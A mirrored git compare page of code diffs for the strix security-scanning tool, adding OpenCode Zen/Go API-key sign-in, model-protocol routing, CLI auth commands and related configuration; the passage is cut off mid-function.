mirror of
https://hubproxy.babadafafafafa.cn/https://github.com/usestrix/strix.git
synced 2026-09-20 16:13:44 +08:00
Compare commits
6 Commits
fix/user-m
...
opencode-s
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8dfbe94d6a | ||
|
|
aa95b0d465 | ||
|
|
8ed2433574 | ||
|
|
9408d29643 | ||
|
|
3c767cdd47 | ||
|
|
0a6e8b01bf |
12
README.md
12
README.md
@@ -320,6 +320,18 @@ strix auth status # show the active sign-in
|
||||
strix auth logout # forget the sign-in
|
||||
```
|
||||
|
||||
#### Sign in with an OpenCode subscription
|
||||
|
||||
You can also run Strix on [OpenCode Zen](https://opencode.ai/docs/zen/) credits or an [OpenCode Go](https://opencode.ai/docs/go/) subscription:
|
||||
|
||||
```bash
|
||||
strix auth login opencode # paste your API key from opencode.ai/auth
|
||||
|
||||
export STRIX_LLM="opencode/claude-sonnet-5" # opencode/<model> runs on Zen credits
|
||||
export STRIX_LLM="opencode-go/kimi-k3" # opencode-go/<model> runs on the Go subscription
|
||||
strix --target ./app-directory
|
||||
```
|
||||
|
||||
#### Connect your own MCP servers
|
||||
|
||||
Strix can connect to Model Context Protocol (MCP) servers you list and expose their tools to the agent during a run. Create `~/.strix/mcp-servers.json` with a JSON list of servers. Each entry is either a local `stdio` server that Strix launches as a subprocess, or a remote `http` server:
|
||||
|
||||
@@ -308,6 +308,7 @@ ignore = [
|
||||
# Heavy inference deps (httpx, openai) imported lazily so auth-status checks
|
||||
# don't pull them in.
|
||||
"strix/config/codex.py" = ["PLC0415"]
|
||||
"strix/config/opencode.py" = ["PLC0415"]
|
||||
# Interface utility branches per scope-mode / target-type combination;
|
||||
# splitting would obscure the decision tree without simplifying it.
|
||||
"strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"]
|
||||
|
||||
@@ -72,8 +72,32 @@ def _write_store(data: dict[str, Any]) -> None:
|
||||
write_secret_text(AUTH_PATH, json.dumps(data, indent=2))
|
||||
|
||||
|
||||
def read_provider_record(provider: str) -> dict[str, Any] | None:
|
||||
"""Raw record for *provider* from the shared subscription-auth store."""
|
||||
record = _read_store().get(provider)
|
||||
return record if isinstance(record, dict) else None
|
||||
|
||||
|
||||
def save_provider_record(provider: str, record: dict[str, Any]) -> None:
|
||||
data = _read_store()
|
||||
data[provider] = record
|
||||
_write_store(data)
|
||||
|
||||
|
||||
def remove_provider_record(provider: str) -> None:
|
||||
data = _read_store()
|
||||
if provider not in data:
|
||||
return
|
||||
del data[provider]
|
||||
if data:
|
||||
_write_store(data)
|
||||
return
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.unlink()
|
||||
|
||||
|
||||
def read_record() -> dict[str, Any] | None:
|
||||
record = _read_store().get(PROVIDER)
|
||||
record = read_provider_record(PROVIDER)
|
||||
if not isinstance(record, dict) or record.get("type") != "oauth":
|
||||
return None
|
||||
if not (record.get("access") and record.get("refresh") and record.get("account_id")):
|
||||
@@ -86,21 +110,11 @@ def is_authenticated() -> bool:
|
||||
|
||||
|
||||
def save_record(record: dict[str, Any]) -> None:
|
||||
data = _read_store()
|
||||
data[PROVIDER] = record
|
||||
_write_store(data)
|
||||
save_provider_record(PROVIDER, record)
|
||||
|
||||
|
||||
def logout() -> None:
|
||||
data = _read_store()
|
||||
if PROVIDER not in data:
|
||||
return
|
||||
del data[PROVIDER]
|
||||
if data:
|
||||
_write_store(data)
|
||||
return
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.unlink()
|
||||
remove_provider_record(PROVIDER)
|
||||
|
||||
|
||||
@contextlib.contextmanager
|
||||
|
||||
@@ -20,6 +20,7 @@ from agents.model_settings import ModelSettings
|
||||
from agents.models.fake_id import FAKE_RESPONSES_ID
|
||||
from agents.models.interface import Model, ModelProvider
|
||||
from agents.models.multi_provider import MultiProvider
|
||||
from agents.models.openai_chatcompletions import OpenAIChatCompletionsModel
|
||||
from agents.models.openai_responses import OpenAIResponsesModel
|
||||
from agents.retry import (
|
||||
ModelRetryBackoffSettings,
|
||||
@@ -36,7 +37,7 @@ from openai.types.responses import (
|
||||
from openai.types.responses.response_usage import ResponseUsage
|
||||
from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config import codex, opencode
|
||||
from strix.config.loader import load_settings
|
||||
from strix.config.tool_call_ids import TurnCallIdRewriter, dedupe_input
|
||||
from strix.config.tool_call_limits import TurnToolCallLimiter
|
||||
@@ -79,7 +80,12 @@ def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
|
||||
|
||||
|
||||
class _CodexResponsesModel(OpenAIResponsesModel):
|
||||
"""Responses model for the ChatGPT subscription backend (always streamed, stateless)."""
|
||||
"""Responses model for stateless subscription gateways (always streamed).
|
||||
|
||||
Used for the ChatGPT subscription backend and for Responses-served models on
|
||||
the OpenCode gateway: neither stores responses server-side, so reasoning is
|
||||
carried inline via ``reasoning.encrypted_content``.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
@@ -520,6 +526,7 @@ class StrixProvider(MultiProvider):
|
||||
def get_model(self, model_name: str | None) -> Model:
|
||||
llm = load_settings().llm
|
||||
slug = codex.subscription_model(model_name)
|
||||
oc = opencode.subscription_model(model_name)
|
||||
idle_timeout = float(llm.stream_idle_timeout)
|
||||
if slug:
|
||||
# The ChatGPT subscription backend is always streamed; it has no
|
||||
@@ -530,6 +537,35 @@ class StrixProvider(MultiProvider):
|
||||
codex.get_subscription_client(),
|
||||
reasoning_effort=llm.reasoning_effort,
|
||||
)
|
||||
elif oc and oc.protocol == opencode.PROTOCOL_RESPONSES:
|
||||
model = _CodexResponsesModel(
|
||||
oc.slug,
|
||||
opencode.get_subscription_client(oc.base_url),
|
||||
reasoning_effort=llm.reasoning_effort,
|
||||
)
|
||||
elif oc and oc.protocol == opencode.PROTOCOL_MESSAGES:
|
||||
# Claude models are served on Anthropic's ``/messages``, which the
|
||||
# OpenAI SDK cannot speak: it has no Messages method and sends the
|
||||
# key as a bearer token rather than ``x-api-key``. LiteLLM's
|
||||
# Anthropic route handles both, so the gateway becomes an Anthropic
|
||||
# base URL with the subscription key.
|
||||
from agents.extensions.models.litellm_model import LitellmModel
|
||||
|
||||
model = LitellmModel(
|
||||
model=f"anthropic/{oc.slug}",
|
||||
base_url=oc.messages_url,
|
||||
api_key=opencode.get_api_key(),
|
||||
)
|
||||
if llm.disable_streaming:
|
||||
model = _NonStreamingModel(model)
|
||||
idle_timeout = 0.0
|
||||
elif oc:
|
||||
model = OpenAIChatCompletionsModel(
|
||||
oc.slug, opencode.get_subscription_client(oc.base_url)
|
||||
)
|
||||
if llm.disable_streaming:
|
||||
model = _NonStreamingModel(model)
|
||||
idle_timeout = 0.0
|
||||
else:
|
||||
model = super().get_model(model_name)
|
||||
if llm.disable_streaming:
|
||||
@@ -589,15 +625,24 @@ RECOMMENDED_MODEL_NAMES = (
|
||||
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
|
||||
|
||||
FRONTIER_MODEL_FAMILIES = (
|
||||
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai"), ("gpt-5",)),
|
||||
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai", "opencode"), ("gpt-5",)),
|
||||
(
|
||||
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
|
||||
(
|
||||
"anthropic",
|
||||
"azure_ai",
|
||||
"bedrock",
|
||||
"claude",
|
||||
"databricks",
|
||||
"opencode",
|
||||
"snowflake",
|
||||
"vertex_ai",
|
||||
),
|
||||
("claude-fable-5", "claude-opus-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
|
||||
),
|
||||
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
|
||||
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
|
||||
(("alibaba", "dashscope", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
|
||||
(("moonshot", "moonshotai", "kimi"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
|
||||
(("google", "gemini", "opencode", "vertex_ai"), ("gemini-3",)),
|
||||
(("deepseek", "opencode"), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
|
||||
(("alibaba", "dashscope", "opencode", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
|
||||
(("kimi", "moonshot", "moonshotai", "opencode"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
|
||||
)
|
||||
|
||||
|
||||
@@ -605,7 +650,14 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
|
||||
"""Apply Strix config to SDK-native defaults."""
|
||||
llm = settings.llm
|
||||
set_tracing_disabled(True)
|
||||
if codex.subscription_model(llm.model):
|
||||
oc = opencode.subscription_model(llm.model)
|
||||
if codex.subscription_model(llm.model) or oc:
|
||||
# A subscription run carries its own client and credentials, so none of
|
||||
# the api_key/api_base defaults below apply. The Anthropic route is the
|
||||
# exception: it goes through LiteLLM, which still needs the
|
||||
# compatibility flags and the cost callback.
|
||||
if oc is not None and oc.protocol == opencode.PROTOCOL_MESSAGES:
|
||||
_configure_litellm_compatibility()
|
||||
return
|
||||
_configure_litellm_compatibility()
|
||||
_configure_openrouter_attribution(llm.model)
|
||||
@@ -790,6 +842,11 @@ def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bo
|
||||
"""Return whether the resolved SDK route can only receive JSON function tools."""
|
||||
if codex.subscription_model(model_name):
|
||||
return False
|
||||
oc = opencode.subscription_model(model_name)
|
||||
if oc:
|
||||
# Chat Completions takes JSON function tools; so does the LiteLLM
|
||||
# Anthropic route, which translates them to Anthropic tool blocks.
|
||||
return oc.protocol != opencode.PROTOCOL_RESPONSES
|
||||
model = model_name.strip().lower()
|
||||
if "/" in model and not model.startswith("openai/"):
|
||||
return True
|
||||
|
||||
230
strix/config/opencode.py
Normal file
230
strix/config/opencode.py
Normal file
@@ -0,0 +1,230 @@
|
||||
"""OpenCode subscription auth: API-key sign-in and the clients that route
|
||||
inference through the OpenCode gateway.
|
||||
|
||||
Covers both OpenCode offerings, Zen (pay-as-you-go credits) and Go (the
|
||||
monthly subscription), which share one account and API key but live behind
|
||||
different gateway base URLs. Unlike the ChatGPT subscription there is no
|
||||
OAuth: the user copies a plain API key from https://opencode.ai/auth, and
|
||||
using the gateway from other agents is officially supported.
|
||||
|
||||
The gateway speaks three protocols and serves each model family on exactly
|
||||
one of them (see https://opencode.ai/docs/zen/), answering a request sent to
|
||||
the wrong one with an unhandled 500 rather than a 404. ``_protocol()`` holds
|
||||
the mapping; ``SubscriptionModel.protocol`` carries the result. Claude runs on
|
||||
Anthropic's ``/messages``, which the OpenAI SDK cannot speak, so that route
|
||||
goes through LiteLLM instead of the clients built here.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config import codex
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
|
||||
PROVIDER = "opencode"
|
||||
|
||||
ZEN_BASE_URL = "https://opencode.ai/zen/v1"
|
||||
GO_BASE_URL = "https://opencode.ai/zen/go/v1"
|
||||
|
||||
# ``opencode/<model>`` runs on Zen credits; ``opencode-go/<model>`` on the Go
|
||||
# subscription (matching OpenCode's own ``opencode-go/`` model ids).
|
||||
ZEN_PREFIX = "opencode/"
|
||||
GO_PREFIX = "opencode-go/"
|
||||
|
||||
AUTH_CONSOLE_URL = "https://opencode.ai/auth"
|
||||
|
||||
_KEY_CHECK_TIMEOUT = 30
|
||||
|
||||
|
||||
class OpencodeAuthError(Exception):
|
||||
def __init__(self, code: str, message: str | None = None) -> None:
|
||||
self.code = code
|
||||
super().__init__(message or code)
|
||||
|
||||
|
||||
PROTOCOL_CHAT = "chat"
|
||||
PROTOCOL_RESPONSES = "responses"
|
||||
PROTOCOL_MESSAGES = "messages"
|
||||
|
||||
PLAN_ZEN = "zen"
|
||||
PLAN_GO = "go"
|
||||
|
||||
_PLAN_LABELS = {PLAN_ZEN: "OpenCode Zen", PLAN_GO: "OpenCode Go"}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class SubscriptionModel:
|
||||
slug: str
|
||||
base_url: str
|
||||
protocol: str
|
||||
plan: str
|
||||
|
||||
@property
|
||||
def uses_responses(self) -> bool:
|
||||
return self.protocol == PROTOCOL_RESPONSES
|
||||
|
||||
@property
|
||||
def messages_url(self) -> str:
|
||||
"""Anthropic-protocol endpoint for this gateway, e.g. ``.../zen/v1/messages``."""
|
||||
return f"{self.base_url}/messages"
|
||||
|
||||
@property
|
||||
def label(self) -> str:
|
||||
return _PLAN_LABELS[self.plan]
|
||||
|
||||
@property
|
||||
def metered(self) -> bool:
|
||||
"""Whether a run spends money per request.
|
||||
|
||||
Zen bills prepaid credits per request, so its runs cost real money and
|
||||
must not be reported as free. Go is a flat monthly fee, where a run's
|
||||
marginal cost genuinely is zero.
|
||||
"""
|
||||
return self.plan == PLAN_ZEN
|
||||
|
||||
|
||||
def _protocol(slug: str, base_url: str) -> str:
|
||||
"""Which wire protocol the gateway serves *slug* on.
|
||||
|
||||
The gateway routes by model family and answers a request sent to the wrong
|
||||
protocol with an unhandled 500 rather than a 404, so the mapping has to be
|
||||
right. Probed against both gateways per family:
|
||||
|
||||
* Claude on Anthropic's ``/messages``
|
||||
* GPT, Grok (Zen) and Muse on OpenAI's ``/responses``
|
||||
* DeepSeek, MiniMax, Kimi, GLM and Qwen on Chat Completions
|
||||
|
||||
Grok is absent from the Go catalog, so its Zen-only Responses route costs
|
||||
nothing there. Kimi and Qwen also answer on ``/messages``, but Chat
|
||||
Completions works for them on both plans and stays the single mapping.
|
||||
"""
|
||||
lowered = slug.lower()
|
||||
if lowered.startswith("claude-"):
|
||||
return PROTOCOL_MESSAGES
|
||||
if lowered.startswith(("gpt-", "muse-")):
|
||||
return PROTOCOL_RESPONSES
|
||||
if lowered.startswith("grok") and base_url == ZEN_BASE_URL:
|
||||
return PROTOCOL_RESPONSES
|
||||
return PROTOCOL_CHAT
|
||||
|
||||
|
||||
def subscription_model(model_name: str | None) -> SubscriptionModel | None:
|
||||
"""The gateway model behind an ``opencode/`` or ``opencode-go/`` STRIX_LLM."""
|
||||
name = (model_name or "").strip()
|
||||
lowered = name.lower()
|
||||
for prefix, base_url, plan in (
|
||||
(GO_PREFIX, GO_BASE_URL, PLAN_GO),
|
||||
(ZEN_PREFIX, ZEN_BASE_URL, PLAN_ZEN),
|
||||
):
|
||||
if lowered.startswith(prefix):
|
||||
slug = name[len(prefix) :]
|
||||
if not slug:
|
||||
return None
|
||||
return SubscriptionModel(slug, base_url, _protocol(slug, base_url), plan)
|
||||
return None
|
||||
|
||||
|
||||
def read_record() -> dict[str, Any] | None:
|
||||
record = codex.read_provider_record(PROVIDER)
|
||||
if not isinstance(record, dict) or record.get("type") != "api_key":
|
||||
return None
|
||||
key = record.get("key")
|
||||
if not isinstance(key, str) or not key:
|
||||
return None
|
||||
return record
|
||||
|
||||
|
||||
def is_authenticated() -> bool:
|
||||
return read_record() is not None
|
||||
|
||||
|
||||
def save_api_key(key: str) -> None:
|
||||
codex.save_provider_record(PROVIDER, {"type": "api_key", "provider": PROVIDER, "key": key})
|
||||
|
||||
|
||||
def logout() -> None:
|
||||
codex.remove_provider_record(PROVIDER)
|
||||
|
||||
|
||||
def get_api_key() -> str:
|
||||
record = read_record()
|
||||
if record is None:
|
||||
raise OpencodeAuthError(
|
||||
"not_authenticated", "not signed in; run: strix auth login opencode"
|
||||
)
|
||||
return str(record["key"])
|
||||
|
||||
|
||||
def validate_api_key(key: str) -> None:
|
||||
"""Check the key against the gateway's models endpoint; raise if rejected."""
|
||||
try:
|
||||
response = requests.get(
|
||||
f"{ZEN_BASE_URL}/models",
|
||||
headers={"Authorization": f"Bearer {key}"},
|
||||
timeout=_KEY_CHECK_TIMEOUT,
|
||||
)
|
||||
except requests.RequestException as exc:
|
||||
raise OpencodeAuthError("unavailable", str(exc)) from exc
|
||||
if response.status_code in (401, 403):
|
||||
raise OpencodeAuthError(
|
||||
"invalid_key", f"OpenCode rejected the API key (HTTP {response.status_code})"
|
||||
)
|
||||
if response.status_code >= 400:
|
||||
raise OpencodeAuthError("http_error", f"HTTP {response.status_code}: {response.text[:300]}")
|
||||
|
||||
|
||||
def build_openai_client(base_url: str) -> AsyncOpenAI:
|
||||
import httpx
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
return AsyncOpenAI(
|
||||
api_key=get_api_key(),
|
||||
base_url=base_url,
|
||||
http_client=httpx.AsyncClient(timeout=httpx.Timeout(600.0, connect=30.0)),
|
||||
)
|
||||
|
||||
|
||||
_subscription_clients: dict[str, AsyncOpenAI] = {}
|
||||
|
||||
|
||||
def get_subscription_client(base_url: str) -> AsyncOpenAI:
|
||||
client = _subscription_clients.get(base_url)
|
||||
if client is None:
|
||||
client = build_openai_client(base_url)
|
||||
_subscription_clients[base_url] = client
|
||||
return client
|
||||
|
||||
|
||||
def auth_mode(model_name: str | None) -> str:
|
||||
"""Return "subscription" when STRIX_LLM runs on any subscription
|
||||
(OpenCode or ChatGPT), else "api_key"."""
|
||||
if subscription_model(model_name) or codex.subscription_model(model_name):
|
||||
return "subscription"
|
||||
return "api_key"
|
||||
|
||||
|
||||
def subscription_plan(model_name: str | None) -> str | None:
|
||||
"""Which OpenCode plan STRIX_LLM runs on: "zen", "go", or None.
|
||||
|
||||
Recorded alongside ``subscription_provider`` rather than folded into it, so
|
||||
consumers that compare the provider against "opencode" keep working.
|
||||
"""
|
||||
oc = subscription_model(model_name)
|
||||
return oc.plan if oc else None
|
||||
|
||||
|
||||
def subscription_provider(model_name: str | None) -> str | None:
|
||||
"""The subscription behind STRIX_LLM: "opencode", "chatgpt", or None."""
|
||||
if subscription_model(model_name):
|
||||
return PROVIDER
|
||||
if codex.subscription_model(model_name):
|
||||
return "chatgpt"
|
||||
return None
|
||||
@@ -8,6 +8,7 @@ from typing import TYPE_CHECKING, Any
|
||||
from agents.model_settings import ModelSettings
|
||||
from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config import opencode
|
||||
from strix.config.models import (
|
||||
DEFAULT_MODEL_RETRY,
|
||||
OPENROUTER_ATTRIBUTION_HEADERS,
|
||||
@@ -325,6 +326,13 @@ def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
|
||||
"""
|
||||
if not is_claude_model(model_name) or not routes_through_litellm(model_name):
|
||||
return None
|
||||
# OpenCode's Chat Completions and Responses routes use the raw OpenAI SDK,
|
||||
# which rejects this LiteLLM-only argument. Its Anthropic route does go
|
||||
# through LiteLLM, so the injection points apply there as they would for a
|
||||
# direct Anthropic key.
|
||||
oc = opencode.subscription_model(model_name)
|
||||
if oc is not None and oc.protocol != opencode.PROTOCOL_MESSAGES:
|
||||
return None
|
||||
if is_bedrock_route(model_name) and not bedrock_route_supports_prompt_caching(model_name):
|
||||
return None
|
||||
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
"""`strix auth` — ChatGPT subscription sign-in (login / status / logout).
|
||||
"""`strix auth` — subscription sign-in (login / status / logout).
|
||||
|
||||
Signing in only stores OAuth tokens (``~/.strix/subscription-auth.json``); model
|
||||
Signing in only stores credentials (``~/.strix/subscription-auth.json``); model
|
||||
selection stays with ``STRIX_LLM``. A ``chatgpt/<model>`` STRIX_LLM runs on the
|
||||
subscription.
|
||||
ChatGPT subscription; ``opencode/<model>`` (Zen credits) or
|
||||
``opencode-go/<model>`` (Go subscription) run on OpenCode.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -21,7 +22,7 @@ from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import codex, load_settings
|
||||
from strix.config import codex, load_settings, opencode
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -32,13 +33,20 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_CALLBACK_TIMEOUT_S = 300
|
||||
|
||||
# CLI-facing name for the login provider. Internally this is the Codex OAuth
|
||||
# flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what the
|
||||
# command and messaging say. ``codex`` is accepted as an alias.
|
||||
# CLI-facing name for the default login provider. Internally this is the Codex
|
||||
# OAuth flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what
|
||||
# the command and messaging say. ``codex`` is accepted as an alias.
|
||||
LOGIN_PROVIDER = "chatgpt"
|
||||
_ACCEPTED_PROVIDERS = frozenset({LOGIN_PROVIDER, codex.PROVIDER})
|
||||
_OPENCODE_PROVIDERS = frozenset({opencode.PROVIDER, "opencode-go", "zen"})
|
||||
|
||||
_USAGE = "Usage:\n strix auth login chatgpt [--manual]\n strix auth status\n strix auth logout"
|
||||
_USAGE = (
|
||||
"Usage:\n"
|
||||
" strix auth login chatgpt [--manual]\n"
|
||||
" strix auth login opencode\n"
|
||||
" strix auth status\n"
|
||||
" strix auth logout [chatgpt|opencode]"
|
||||
)
|
||||
|
||||
|
||||
def run_auth(argv: list[str]) -> int:
|
||||
@@ -55,7 +63,7 @@ def run_auth(argv: list[str]) -> int:
|
||||
handlers: dict[str, Callable[[], int]] = {
|
||||
"login": lambda: _login(console, rest),
|
||||
"status": lambda: _status(console),
|
||||
"logout": lambda: _logout(console),
|
||||
"logout": lambda: _logout(console, rest),
|
||||
}
|
||||
handler = handlers.get(subcommand)
|
||||
if handler is not None:
|
||||
@@ -84,10 +92,14 @@ def _login(console: Console, argv: list[str]) -> int:
|
||||
except SystemExit as exc: # argparse already printed the message
|
||||
return int(exc.code or 2)
|
||||
|
||||
if args.provider.lower() in _OPENCODE_PROVIDERS:
|
||||
return _login_opencode(console)
|
||||
|
||||
if args.provider.lower() not in _ACCEPTED_PROVIDERS:
|
||||
console.print(
|
||||
f"[red]Unsupported provider:[/] {args.provider}. "
|
||||
f"Only '{LOGIN_PROVIDER}' (ChatGPT subscription) is supported."
|
||||
f"Supported: '{LOGIN_PROVIDER}' (ChatGPT subscription) and "
|
||||
f"'{opencode.PROVIDER}' (OpenCode Zen/Go)."
|
||||
)
|
||||
return 2
|
||||
|
||||
@@ -115,6 +127,63 @@ def _login(console: Console, argv: list[str]) -> int:
|
||||
return 0
|
||||
|
||||
|
||||
def _login_opencode(console: Console) -> int:
|
||||
console.print()
|
||||
console.print("[bold]Signing in with OpenCode[/] [dim](provider: opencode)[/]")
|
||||
console.print(
|
||||
"[dim]This uses your OpenCode Zen credits or Go subscription for inference.\n"
|
||||
f"Get your API key at {opencode.AUTH_CONSOLE_URL}[/]"
|
||||
)
|
||||
console.print()
|
||||
try:
|
||||
key = console.input("Paste your OpenCode API key: ", password=True).strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
console.print("\n[yellow]Sign-in cancelled.[/]")
|
||||
return 130
|
||||
if not key:
|
||||
console.print("[red]No API key provided.[/]")
|
||||
return 2
|
||||
try:
|
||||
opencode.validate_api_key(key)
|
||||
except opencode.OpencodeAuthError as exc:
|
||||
console.print(f"[red]SIGN-IN FAILED:[/] {exc}")
|
||||
return 1
|
||||
opencode.save_api_key(key)
|
||||
_print_opencode_success(console)
|
||||
return 0
|
||||
|
||||
|
||||
def _print_opencode_success(console: Console) -> None:
|
||||
text = Text()
|
||||
text.append("Signed in with your OpenCode account", style="bold #22c55e")
|
||||
text.append("\n\n", style="white")
|
||||
text.append("Set ", style="white")
|
||||
text.append("STRIX_LLM", style="bold white")
|
||||
text.append(" to an ", style="white")
|
||||
text.append("opencode/", style="bold cyan")
|
||||
text.append(" model (e.g. ", style="white")
|
||||
text.append("opencode/claude-sonnet-5", style="bold cyan")
|
||||
text.append(") to run on Zen credits, or ", style="white")
|
||||
text.append("opencode-go/", style="bold cyan")
|
||||
text.append(" (e.g. ", style="white")
|
||||
text.append("opencode-go/kimi-k3", style="bold cyan")
|
||||
text.append(") to run on the Go subscription.", style="white")
|
||||
text.append("\n\n", style="white")
|
||||
text.append("Run a scan as usual, e.g. ", style="white")
|
||||
text.append("strix --target https://example.com", style="bold cyan")
|
||||
console.print()
|
||||
console.print(
|
||||
Panel(
|
||||
text,
|
||||
title="[bold white]STRIX",
|
||||
title_align="left",
|
||||
border_style="#22c55e",
|
||||
padding=(1, 2),
|
||||
)
|
||||
)
|
||||
console.print()
|
||||
|
||||
|
||||
def _run_oauth_flow(
|
||||
console: Console,
|
||||
authorize_url: str,
|
||||
@@ -244,24 +313,41 @@ def _first(query: dict[str, list[str]], key: str) -> str | None:
|
||||
|
||||
def _status(console: Console) -> int:
|
||||
record = codex.read_record()
|
||||
if record is None:
|
||||
console.print("[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] to sign in.")
|
||||
opencode_signed_in = opencode.is_authenticated()
|
||||
if record is None and not opencode_signed_in:
|
||||
console.print(
|
||||
"[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] or "
|
||||
"[cyan]strix auth login opencode[/] to sign in."
|
||||
)
|
||||
return 1
|
||||
settings = load_settings()
|
||||
console.print("[green]Signed in[/] with a ChatGPT subscription.")
|
||||
console.print(f" Account: [bold]{record.get('account_id')}[/]")
|
||||
if codex.subscription_model(settings.llm.model):
|
||||
if record is not None:
|
||||
console.print("[green]Signed in[/] with a ChatGPT subscription.")
|
||||
console.print(f" Account: [bold]{record.get('account_id')}[/]")
|
||||
if opencode_signed_in:
|
||||
console.print("[green]Signed in[/] with an OpenCode account.")
|
||||
if codex.subscription_model(settings.llm.model) or opencode.subscription_model(
|
||||
settings.llm.model
|
||||
):
|
||||
console.print(f" Runs use the subscription (STRIX_LLM=[bold]{settings.llm.model}[/]).")
|
||||
else:
|
||||
console.print(
|
||||
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] "
|
||||
"to run on the subscription."
|
||||
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] or "
|
||||
"[cyan]opencode/claude-sonnet-5[/] to run on a subscription."
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
def _logout(console: Console) -> int:
|
||||
codex.logout()
|
||||
def _logout(console: Console, argv: list[str] | None = None) -> int:
|
||||
target = (argv[0].lower() if argv else "") or "all"
|
||||
if target in _ACCEPTED_PROVIDERS or target == "all":
|
||||
codex.logout()
|
||||
if target in _OPENCODE_PROVIDERS or target == "all":
|
||||
opencode.logout()
|
||||
if target != "all" and target not in _ACCEPTED_PROVIDERS | _OPENCODE_PROVIDERS:
|
||||
console.print(f"[red]Unknown provider:[/] {target}\n")
|
||||
console.print(_USAGE)
|
||||
return 2
|
||||
console.print("[green]Signed out.[/] Stored subscription credentials removed.")
|
||||
return 0
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import codex, load_settings
|
||||
from strix.config import codex, load_settings, opencode
|
||||
from strix.interface.utils import (
|
||||
check_docker_connection,
|
||||
image_exists,
|
||||
@@ -37,6 +37,17 @@ def validate_environment() -> None:
|
||||
logger.info("Environment OK (ChatGPT subscription)")
|
||||
return
|
||||
|
||||
oc = opencode.subscription_model(settings.llm.model)
|
||||
if oc:
|
||||
if not opencode.is_authenticated():
|
||||
console.print(
|
||||
f"[red]STRIX_LLM={settings.llm.model} runs on {oc.label}, "
|
||||
"but you're not signed in.[/] Run [cyan]strix auth login opencode[/] first."
|
||||
)
|
||||
sys.exit(1)
|
||||
logger.info("Environment OK (%s)", oc.label)
|
||||
return
|
||||
|
||||
if not settings.llm.model:
|
||||
missing_required_vars.append("STRIX_LLM")
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import codex, load_settings, persist_current
|
||||
from strix.config import codex, load_settings, opencode, persist_current
|
||||
from strix.core.paths import run_dir_for
|
||||
from strix.interface.cli_args import parse_arguments
|
||||
from strix.interface.environment import (
|
||||
@@ -104,8 +104,14 @@ def _provider_import_hint(exc: BaseException, model: str) -> str | None:
|
||||
|
||||
|
||||
def _subscription_error_hint(exc: BaseException) -> str | None:
|
||||
"""Return an actionable hint for a known ChatGPT-subscription error, or None."""
|
||||
if not codex.subscription_model(load_settings().llm.model):
|
||||
"""Return an actionable hint for a known subscription error, or None."""
|
||||
model = load_settings().llm.model
|
||||
if opencode.subscription_model(model):
|
||||
joined = " ".join(_exception_messages(exc)).lower()
|
||||
if "error code: 401" in joined or "http 401" in joined or "unauthorized" in joined:
|
||||
return "Your OpenCode API key was rejected. Sign in again:\n strix auth login opencode"
|
||||
return None
|
||||
if not codex.subscription_model(model):
|
||||
return None
|
||||
joined = " ".join(_exception_messages(exc)).lower()
|
||||
if "not supported when using codex with a chatgpt account" in joined:
|
||||
|
||||
@@ -14,7 +14,7 @@ import logging
|
||||
from datetime import UTC, datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from strix.config import Settings, codex, load_settings
|
||||
from strix.config import Settings, load_settings, opencode
|
||||
from strix.core.paths import run_dir_for
|
||||
from strix.interface.utils import (
|
||||
assign_workspace_subdirs,
|
||||
@@ -226,7 +226,7 @@ def telemetry_start(args: argparse.Namespace) -> None:
|
||||
model = load_settings().llm.model
|
||||
kwargs = {
|
||||
"model": model,
|
||||
"auth_mode": codex.auth_mode(model),
|
||||
"auth_mode": opencode.auth_mode(model),
|
||||
"scan_mode": args.scan_mode,
|
||||
